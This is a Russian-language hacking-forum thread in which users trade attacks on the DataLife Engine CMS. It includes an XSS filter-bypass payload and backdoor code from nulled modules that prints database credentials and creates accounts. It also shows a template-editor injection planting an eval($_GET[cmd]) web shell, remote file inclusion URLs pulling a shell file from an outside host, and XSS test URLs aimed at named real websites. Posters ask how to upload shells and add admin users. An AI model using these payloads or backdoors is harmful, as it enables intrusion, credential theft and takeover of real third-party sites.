[ Обзор уязвимостей DataLife Engine ]

Обсуждение в разделе «Веб-уязвимости», начал(-а) Solide Snake, 28.10.2007.

  1. chekist

    chekist Elder - Старейшина

    Регистрация:
    14.11.2007
    Сообщения:
    215
    Одобрения:
    160
    Репутация:
    100
    xss

    xss, проверял на 8.5 и 8.2

    file /engine/modules/imagepreview.php
    PHP:

    $_GET
    ['image'] = @htmlspecialchars ($_GET['image'], ENT_QUOTES);

    if( 
    preg_match"/[?&;%<\[\]]/"$_GET['image'] ) ) $_GET['image'] = "";

    $_GET['image'] = str_replace"document.cookie"""$_GET['image'] );
    $_GET['image'] = str_replace"javascript"""$_GET['image'] );

    http://dle85.ru/engine/modules/imagepreview.php?image=javajavascriptscript:alert(String.fromCharCode(120,115,115))
     
    #161 chekist, 26.06.2010
    В последний раз редактировалось: 26.06.2010
    Это одобряет 1 пользователь.
  2. Alex$09

    Alex$09 New Member

    Регистрация:
    1.10.2009
    Сообщения:
    31
    Одобрения:
    1
    Репутация:
    0
    Дядя ZloY как всегда постарался(как понел это типо бекдоры в нуллах и модулях от злово и его "мега команды")...
    1)

    require_once ENGINE_DIR.'/data/dbconfig.php';


    echo "<b>dbconfig.php</b> : Host = ".DBHOST." DBName = ".DBNAME." DBUser = ".DBUSER." DBPassword: ".DBPASS."<br><br>";

    2)
    require_once ENGINE_DIR.'/api/api.class.php';

    $user = md5(rand(0,10000));
    $password = md5(rand(0,1000));
    $res = $dle_api->external_register($user,$password,md5(rand(0,100000))."@mail

    .ru",1);
    echo $res;

    echo $user;
    echo "<br>";
    echo $password;
    З.Ы. Кто знает как юзать плиз в личку кинь... Ах да, было найдено http://getdle.com/extras/referer/xss/1.txt и http://getdle.com/extras/referer/xss/2.txt
     
  3. попугай

    попугай Elder - Старейшина

    Регистрация:
    15.01.2008
    Сообщения:
    1 520
    Одобрения:
    401
    Репутация:
    196
    А чо там юзать - просто при заходе на ./engine/data/dbconfig.php выводится логин, пасс и хост базы данных.
    А второе регистрирует нового юзверя и выводит пароль и логин.
     
  4. FlooP1k

    FlooP1k Banned

    Регистрация:
    28.07.2010
    Сообщения:
    95
    Одобрения:
    66
    Репутация:
    48
    Что то давно о ДЛЕ не чего не слышно уже как бы и 9.0 вышло ...
    И офф. сайт чето мудрит http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html
     
  5. chekist

    chekist Elder - Старейшина

    Регистрация:
    14.11.2007
    Сообщения:
    215
    Одобрения:
    160
    Репутация:
    100
    http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html

    )), пофиксели мой приватный способ заливки шелла
     
    #165 chekist, 18.09.2010
    В последний раз редактировалось: 10.10.2010
    Это одобряет 1 пользователь.
  6. slva2000

    slva2000 New Member

    Регистрация:
    20.11.2009
    Сообщения:
    42
    Одобрения:
    2
    Репутация:
    0
    Там два момента. На мой взгялд они не связаны (с поиском и средактором шаблона). Редактор доступен только из админки, и вот что мне удалось натестить:

    Если отправить POST запрос приблизительного следующего содержания:

    HTML:
    <form method="post" action="/admin.php?mod=templates"> 
    <input type=hidden name=user_hash value="ХЕШ_ЮЗЕРА">
    <input type="hidden" name="subaction" value="language"> 
    кнопка сабмит где то тут...
    <input type="hidden" name="do_template" value='строки_записываемые_в_config.php>
    <input type="hidden" name="do_language" value='строки_записываемые_в_config.php'>
    </form>
    Поигратся с кавычками, то можно затолкать туда php код для исполнения...

    С поиском так и не понял, что можно намутить
    __________________________________
    К моему предедёщему посту дополнение.
    В POST запросе нужно отправить:

    Code:
    {${@eval($_GET[cmd])}}
    после этого любая комманды вида:

    site.ru/?cmd=echo%20phpinfo();

    ЗЫ комманда д.б. закодирована urlencode();
    ___________________________________
    не стоим на месте:

    "глобальные массивы" д.б. ОN, а дальше:
    ?do=search&subaction=search&story=bla-bla&sql_count=Sql_Que..&titleonly=FOUR
     
    #166 slva2000, 21.09.2010
    В последний раз редактировалось: 23.09.2010
    Это одобряет 1 пользователь.
  7. oko

    oko New Member

    Регистрация:
    1.05.2010
    Сообщения:
    28
    Одобрения:
    1
    Репутация:
    0
    Кто скажет что про это, http://dle-news.ru/bags/v90/1127-nedostatochnaya-filtraciya-vhodyaschih-dannyh.html какой то баг видно серьезный нашли
     
  8. LamerHacker

    LamerHacker New Member

    Регистрация:
    22.09.2010
    Сообщения:
    5
    Одобрения:
    0
    Репутация:
    0
    oko, а в посте перед тобой о чем расписано ?
    slva2000, получается воспользоваться багом с редактором шаблона можно только через админку ? :(
    И можешь чуть поподробней расписать, как использовать баг с поиском?
     
  9. FlooP1k

    FlooP1k Banned

    Регистрация:
    28.07.2010
    Сообщения:
    95
    Одобрения:
    66
    Репутация:
    48
    Помогите написать скрипт для ДЛЕ, что бы он добавил нового пользователя в бд с правами админа ...
     
  10. slva2000

    slva2000 New Member

    Регистрация:
    20.11.2009
    Сообщения:
    42
    Одобрения:
    2
    Репутация:
    0
    Раскрытие префикса к БД
    версии, вероятно, до 8.0

    1. Регаешься
    2. Авторизируешься
    3. Смотриш куку с именем, вида XXXX_name, которая принимает значение твоего логина,

    где XXXX - префикс к БД.
     
    #170 slva2000, 4.11.2010
    В последний раз редактировалось: 4.11.2010
  11. попугай

    попугай Elder - Старейшина

    Регистрация:
    15.01.2008
    Сообщения:
    1 520
    Одобрения:
    401
    Репутация:
    196

    Это не префикс к БД, это просто название куки, она всегда dle_name, есть еще dle_password, dle_pm и dle_user_id. Проверено на dle7.0, dle7.3 и dle 7.5
     
    #171 попугай, 20.11.2010
    В последний раз редактировалось: 20.11.2010
  12. RexTiam

    RexTiam Member

    Регистрация:
    2.11.2009
    Сообщения:
    117
    Одобрения:
    45
    Репутация:
    5
    Выкладываю несколько сплоитов для DLE 8.3

    ttp://skripters.com/engine/inc/include/init.php?selected_language=http://loca
    lhost/c.txt?

    http://skripters.com/engine/inc/help.php?config[langs]=http://localhost/c.txt
    ?

    http://skripters.com/engine/ajax/pm.php?config[lang_=[EV!L]

    http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
    host/c.txt?

    http://skripters.com/engine/ajax/addcomments.php?_REQUEST[skin]]=http://local
    host/c.txt?
     
  13. flinster

    flinster New Member

    Регистрация:
    29.01.2011
    Сообщения:
    52
    Одобрения:
    0
    Репутация:
    0
    Чет не врубился как юзать, подробнее можете расписать?
    Я так понимаю заливаем шелл.
    Залил я шелл допустим на народ, нашел парочку сайтов на дле данной версии и пробую... на некоторых просто белая страница, на других вылазиет какая то ошибка.
     
  14. Eviler

    Eviler Banned

    Регистрация:
    25.08.2009
    Сообщения:
    11
    Одобрения:
    0
    Репутация:
    -5
    ребят, у кого осталась уязвимая версия lostpassword.php для 8,2 или кто может сделать такую же темку для 8,3?) надо прикрутить на сайт)
     
  15. RexTiam

    RexTiam Member

    Регистрация:
    2.11.2009
    Сообщения:
    117
    Одобрения:
    45
    Репутация:
    5
    flinster, если не знаешь. Лучше не лезь сюда.
    так же изучи что такое Open VPN и Дедики. И соксы.
     
  16. wildshaman

    wildshaman Elder - Старейшина

    Регистрация:
    16.04.2008
    Сообщения:
    477
    Одобрения:
    483
    Репутация:
    99
    Рекс, херню написал (я про пост со "сплоитами"). Не знаешь - не лезь.
     
  17. Je[K]inS

    Je[K]inS New Member

    Регистрация:
    27.09.2010
    Сообщения:
    3
    Одобрения:
    0
    Репутация:
    0
    Пиар лицензии или как ?
    Слышал подвержены все => 9.0.
    Кто знает как юзать дырку прошу пример в студию ;)
     
  18. попугай

    попугай Elder - Старейшина

    Регистрация:
    15.01.2008
    Сообщения:
    1 520
    Одобрения:
    401
    Репутация:
    196

    Это вообще что-за баг? На официальном сайте нет про это, а в гугле описание бага нашел только на сайте, где он уже удален.
     
    Это одобряют 2 пользоветелей.
  19. KoT3

    KoT3 New Member

    Регистрация:
    24.02.2011
    Сообщения:
    9
    Одобрения:
    0
    Репутация:
    0
    Ты думаешь на офф сайте будут публиковать такую багу ? :D

    -> ппц ржунимагу...

    Дырку врядли в открытую опубликуют ибо 25% рунета уйдёт ф попу ибо юзают нулл от DLE...

    И врядли дыра вообще существует. Хотя надо проверить :)
     
  20. 0x0

    0x0 Banned

    Регистрация:
    22.02.2011
    Сообщения:
    3
    Одобрения:
    1
    Репутация:
    0
    xss

    Фотоальбомы для DataLife Engine
    версия: 0.09 точно остальные не проверял
    тип: XSS
    site.ru/engine/photo/image.php?&filetype=gif&type=XSS
    примеры
    Code:
    http://dle-photo.admin-club.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://www.turbooks.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://www.mysoft-bel.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://korshuniha.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://dams.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
    http://nugon.ru/engine/photo/image.php?&filetype=gif&type=%3Ch1%3E111%3C/h1%3E
     
    Это одобряет 1 пользователь.